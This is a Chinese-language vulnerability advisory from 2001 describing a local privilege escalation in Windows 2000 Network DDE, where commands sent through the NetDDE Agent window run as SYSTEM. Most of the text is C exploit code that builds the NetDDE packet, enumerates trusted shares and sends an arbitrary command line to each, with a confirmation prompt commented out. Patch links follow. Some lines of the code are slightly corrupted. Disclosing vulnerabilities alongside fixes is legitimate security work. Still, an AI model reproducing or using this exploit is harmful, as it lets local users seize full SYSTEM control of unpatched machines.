Microsoft Windows 2000 Network DDE存在权利提升漏洞发布时间:2001-02-09 更新时间:2001-02-09 严重程度:高 威胁程度:本地管理员权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 受影响系统:详细描述 Network DDE (Dynamic Data Exchange)允许进程通过受信任共享来在网络上通信信息。一IPC 窗口(Network DDE Agent)可以在进程间通信,使用命令函数如WM_COPYDATA可以使一信息通过NET DDE AGENT发送到受信任的共享(此共享和一进程关联),不好的是NETDDE AGENT运行在LOCAL SYSTEM上下文,因此可以导致本地用户以SYSTEM的权利来执行任意代码。 测试代码 : #include<windows.h> #include<stdlib.h> #include<stdio.h> #include<nddeapi.h> void NDDEError(UINT err) { char error[256]; NDdeGetErrorString(err,error,256); MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); // exit(err); } void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen) { // Build NetDDE message int cmdlinelen=strlen(svCmdLine); int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1; char *funky=(char *)malloc(funkylen); if(funky==NULL) { MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); return NULL; } funky[0x00]=(char)0xE1; funky[0x01]=(char)0xDD; funky[0x02]=(char)0xE1; funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number) funky[0x04]=(char)0x01; funky[0x05]=(char)0x00; funky[0x06]=(char)0x00; funky[0x07]=(char)0x00; // 0x00000001 (?) funky[0x08]=(char)0x01; funky[0x09]=(char)0x00; funky[0x0A]=(char)0x00; funky[0x0B]=(char)0x00; // 0x00000001 (?) funky[0x0C]=(char)0x05; // ShareModId funky[0x0D]=(char)0x00; funky[0x0E]=(char)0x00; funky[0x0F]=(char)0x09; funky[0x10]=(char)0x00; funky[0x11]=(char)0x00; funky[0x12]=(char)0x00; funky[0x13]=(char)0x01; funky[0x14]=(char)0xCC; // unused (?) funky[0x15]=(char)0xCC; funky[0x16]=(char)0xCC; funky[0x17]=(char)0xCC; memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute *pBufLen=funkylen; return funky; } int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow) { // TODO: Place code here. // Check command line int cmdlinelen; if(lpCmdLine==NULL || lpCmdLine[0]=='\0') { MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); return -1; } cmdlinelen=strlen(lpCmdLine); char *szShare=NULL; char *szCmdLine=lpCmdLine; if(strncmp(lpCmdLine,"-s",2)==0) { szShare=lpCmdLine+2; while ((*szShare)==' ') szShare++; char *szEnd=strchr(szShare,' '); if(szEnd==NULL) { MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); return -1; } szCmdLine=szEnd+1; *szEnd='\0' } // Get NetDDE Window HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent"); if(hwnd==NULL) { MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); return -1; } // Get computer name DWORD dwSize=256; char svCompName[256]; GetComputerName(svCompName,&dwSize); // Get list of shares to try char *sharename,*sharenames; if(szShare==NULL) { // Try all shares UINT err; DWORD dwNumShares; // deep check otgpdvt err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize); if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) { NDDEError(err); } sharenames=(char *)malloc(dwSize); err=NDdeShareEnum(svCompName,0,(LPBYTE)sharenames,dwSize,&dwNumShares,&dwSize); if(err!=NDDE_NO_ERROR) { NDDEError(err); } } else { // Try command line share sharenames=(char *)malloc(strlen(szShare)+2); memset(sharenames,Ɔ',strlen(szShare)+2); strcpy(sharenames,szShare); } // Try all shares for(sharename=sharenames;(*sharename)!='\0'sharename+=(strlen(sharename)+1)) { // Ask user if(szShare==NULL) { char svPrompt[256]; _snprintf(svPrompt,256,"Try command through the '%s'share?",sharename); // if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO) // continue; } // Get NetDDE packet void *funky; int funkylen; funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen); if(funky==NULL) return -1; // Perform CopyData COPYDATASTRUCT cds; cds.cbData=funkylen; cds.dwData=0; cds.lpData=(PVOID)funky; SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds); // Free memory free(funky); } // Free memory free(sharenames); return 0; } 解决方案 下载补丁程序: Microsoft Windows NT 2000 Server: Microsoft patch Q285851_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q285851/NT5/EN-US/Q285851_W2K_SP3_x86_en.EXE Microsoft Windows NT 2000 Advanced Server: Microsoft patch Q285851_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q285851/NT5/EN-US/Q285851_W2K_SP3_x86_en.EXE Microsoft Windows NT 2000: Microsoft patch Q285851_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q285851/NT5/EN-US/Q285851_W2K_SP3_x86_en.EXE 相关信息 |